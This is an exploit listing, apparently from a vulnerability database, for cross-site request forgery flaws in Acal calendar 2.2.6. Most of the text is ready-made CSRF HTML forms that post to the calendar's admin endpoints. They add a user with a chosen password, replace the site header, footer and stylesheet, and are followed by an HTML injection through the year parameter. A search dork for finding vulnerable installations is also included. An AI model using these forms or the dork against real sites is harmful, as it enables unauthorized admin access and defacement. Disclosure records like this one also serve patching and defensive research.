Acal calendar 2.2.6 CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Acal calendar 2.2.6 CSRF Vulnerability allowing unauthorized user addition, header/footer edits, and HTML injectio


                                                # Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability]
# Date:          [11-03-2012]
# Author:        [Number 7]
# Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory]
# Version:       [2.2.6]
# Dork:          [&#34;Calendar Admin: Edit Header and Footer&#34;]
# Tested on:     [Windows,Linux]
____________________________________________________________________________
Add User&#60;br&#62;
&#60;form method=&#34;post&#34; action=&#34;http://localhost/ACal-2.2.6/calendar/admin/changelogin.php?action=add&#34;&#62;&#60;br&#62;
Username: &#60;br&#62;
&#60;input type=&#34;text&#34; size=&#34;20&#34; name=&#34;user&#34; /&#62;&#60;br&#62;
Password:&#60;br&#62;
 &#60;input type=&#34;password&#34; size=&#34;20&#34; name=&#34;pass&#34; /&#62;
&#60;input type=&#34;submit&#34; value=&#34;Add User&#34; /&#62;&#60;/form&#62;

Edit/Add Header
&#60;form action=&#34;http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=header&#34; method=&#34;post&#34;&#62;
&#60;textarea cols=&#34;60&#34; rows=&#34;14&#34; name=&#34;header&#34;&#62;Write New Header Here.&lt;/textarea&gt;
&#60;input type=&#34;submit&#34; value=&#34;Submit Changes&#34; /&#62;

Edit/Add Footer
&#60;form action=&#34;http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer&#34; method=&#34;post&#34;&#62;
&#60;textarea cols=&#34;60&#34; rows=&#34;14&#34; name=&#34;footer&#34;&#62;Write New Footer Here.&lt;/textarea&gt;
&#60;input type=&#34;submit&#34; value=&#34;Submit Changes&#34; /&#62;
&#60;/form&#62;


Style Options
&#60;form method=&#34;post&#34; action=&#34;http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style&#34;&#62;
&#60;textarea name=&#34;stylesheet&#34; cols=&#34;60&#34; rows=&#34;20&#34;&#62;&lt;/textarea&gt;
&#60;input type=&#34;submit&#34; value=&#34;Edit&#34; /&#62;

HTML INJECTION:
http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here.
____________________________________________________________________________

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1